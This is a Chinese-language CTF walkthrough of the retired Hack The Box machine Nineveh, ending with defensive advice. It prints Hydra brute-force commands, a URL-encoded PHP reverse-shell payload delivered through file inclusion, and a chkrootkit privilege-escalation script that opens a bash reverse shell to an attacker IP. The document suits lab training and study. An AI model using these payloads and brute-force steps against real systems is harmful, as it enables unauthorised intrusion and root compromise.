HTB:Nineveh 渗透测试
字数 1424 2025-08-15 21:34:08

HTB: Nineveh 渗透测试教学文档

1. 靶机概述

Nineveh 是 Hack The Box 平台上一台已退役的靶机,模拟了一个包含多个漏洞的真实环境。该靶机主要涉及以下技术点:

  • Web 应用目录扫描与信息收集
  • 登录表单暴力破解
  • 文件包含漏洞利用
  • phpMyAdmin 漏洞利用
  • Chkrootkit 本地提权漏洞

2. 信息收集阶段

2.1 初始扫描

使用 Nmap 进行端口和服务扫描:

nmap -sV -O -A 10.129.107.203

扫描结果:

PORT    STATE SERVICE  VERSION
80/tcp  open  http     Apache httpd 2.4.18 ((Ubuntu))
443/tcp open  ssl/http Apache httpd 2.4.18 ((Ubuntu))

2.2 Web 目录扫描

发现以下重要路径:

  • http://10.129.107.246/index.html
  • http://10.129.107.246/info.php
  • http://10.129.107.246/department/ (登录界面)

3. 漏洞探测与利用

3.1 登录表单暴力破解

/department/ 路径发现登录表单,通过查看前端代码确认存在 admin 用户。

使用 Hydra 进行暴力破解:

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.129.107.246 -V http-form-post '/department/login.php:username=^USER^&password=^PASS^:Invalid Password!'

成功获取凭据:

  • 用户名: admin
  • 密码: 1q2w3e4r5t

3.2 文件包含漏洞发现

登录后在 Notes 功能中发现可能存在文件包含漏洞。经过测试发现需要提交特定关键字才能利用。

3.3 HTTPS 端口探索

访问 https://10.129.107.246/db/index.php 发现 phpMyAdmin 1.9 版本。

使用 searchsploit 查找漏洞:

searchsploit phpadmin 1.9

发现漏洞利用需要先登录 phpMyAdmin。

3.4 phpMyAdmin 暴力破解

使用 Burp Suite 爆破 phpMyAdmin 登录,获取密码:

  • 密码: password123

3.5 文件包含漏洞利用

按照 exploit 说明:

  1. 创建新数据库,名称必须为 ninevehNotes.php
  2. 创建数据表
  3. 验证文件包含漏洞是否可利用

4. 获取初始访问

4.1 通过文件包含漏洞反弹 shell

使用以下 payload 通过文件包含漏洞执行 PHP 代码反弹 shell:

http://10.129.107.246/department/manage.php?notes=/var/tmp/ninevehNotes.php&cmd=php%20-r%20%27$sock=fsockopen(%2210.10.14.57%22,4242);$proc=proc_open(%22/bin/sh%20-i%22,%20array(0=%3E$sock,%201=%3E$sock,%202=%3E$sock),$pipes);%27

4.2 获取交互式 shell

在获取初始 shell 后,升级为完全交互式 shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'

5. 权限提升

5.1 初步枚举

使用 LinEnum.sh 进行系统枚举,发现 /report 文件夹包含 rootkit 检测工具。

5.2 Chkrootkit 提权漏洞

发现系统定期运行 Chkrootkit,该工具存在已知的本地提权漏洞。

利用步骤:

  1. /tmp 目录下创建恶意 update 文件:
echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.57/443 0>&1' > /tmp/update
chmod +x /tmp/update
  1. 等待 Chkrootkit 再次执行(通常为定时任务)

  2. 在攻击机上监听 443 端口,获取 root 权限的 shell

6. 关键要点总结

  1. 信息收集要全面:同时扫描 HTTP 和 HTTPS 端口,发现不同服务
  2. 凭证爆破:对 Web 登录表单和 phpMyAdmin 都要尝试爆破
  3. 漏洞链利用:结合文件包含和 phpMyAdmin 漏洞获取初始立足点
  4. 定时任务提权:关注系统定时任务和已知漏洞的本地提权方式
  5. 自动化工具辅助:合理使用 Hydra、searchsploit 等工具提高效率

7. 防御建议

  1. 使用强密码策略,防止暴力破解
  2. 及时更新软件版本,修复已知漏洞
  3. 对文件包含功能实施严格过滤
  4. 定期审查系统定时任务和 SUID 文件
  5. 使用最新版本的安全工具,避免工具自身漏洞被利用
HTB: Nineveh 渗透测试教学文档 1. 靶机概述 Nineveh 是 Hack The Box 平台上一台已退役的靶机,模拟了一个包含多个漏洞的真实环境。该靶机主要涉及以下技术点: Web 应用目录扫描与信息收集 登录表单暴力破解 文件包含漏洞利用 phpMyAdmin 漏洞利用 Chkrootkit 本地提权漏洞 2. 信息收集阶段 2.1 初始扫描 使用 Nmap 进行端口和服务扫描: 扫描结果: 2.2 Web 目录扫描 发现以下重要路径: http://10.129.107.246/index.html http://10.129.107.246/info.php http://10.129.107.246/department/ (登录界面) 3. 漏洞探测与利用 3.1 登录表单暴力破解 在 /department/ 路径发现登录表单,通过查看前端代码确认存在 admin 用户。 使用 Hydra 进行暴力破解: 成功获取凭据: 用户名: admin 密码: 1q2w3e4r5t 3.2 文件包含漏洞发现 登录后在 Notes 功能中发现可能存在文件包含漏洞。经过测试发现需要提交特定关键字才能利用。 3.3 HTTPS 端口探索 访问 https://10.129.107.246/db/index.php 发现 phpMyAdmin 1.9 版本。 使用 searchsploit 查找漏洞: 发现漏洞利用需要先登录 phpMyAdmin。 3.4 phpMyAdmin 暴力破解 使用 Burp Suite 爆破 phpMyAdmin 登录,获取密码: 密码: password123 3.5 文件包含漏洞利用 按照 exploit 说明: 创建新数据库,名称必须为 ninevehNotes.php 创建数据表 验证文件包含漏洞是否可利用 4. 获取初始访问 4.1 通过文件包含漏洞反弹 shell 使用以下 payload 通过文件包含漏洞执行 PHP 代码反弹 shell: 4.2 获取交互式 shell 在获取初始 shell 后,升级为完全交互式 shell: 5. 权限提升 5.1 初步枚举 使用 LinEnum.sh 进行系统枚举,发现 /report 文件夹包含 rootkit 检测工具。 5.2 Chkrootkit 提权漏洞 发现系统定期运行 Chkrootkit,该工具存在已知的本地提权漏洞。 利用步骤: 在 /tmp 目录下创建恶意 update 文件: 等待 Chkrootkit 再次执行(通常为定时任务) 在攻击机上监听 443 端口,获取 root 权限的 shell 6. 关键要点总结 信息收集要全面 :同时扫描 HTTP 和 HTTPS 端口,发现不同服务 凭证爆破 :对 Web 登录表单和 phpMyAdmin 都要尝试爆破 漏洞链利用 :结合文件包含和 phpMyAdmin 漏洞获取初始立足点 定时任务提权 :关注系统定时任务和已知漏洞的本地提权方式 自动化工具辅助 :合理使用 Hydra、searchsploit 等工具提高效率 7. 防御建议 使用强密码策略,防止暴力破解 及时更新软件版本,修复已知漏洞 对文件包含功能实施严格过滤 定期审查系统定时任务和 SUID 文件 使用最新版本的安全工具,避免工具自身漏洞被利用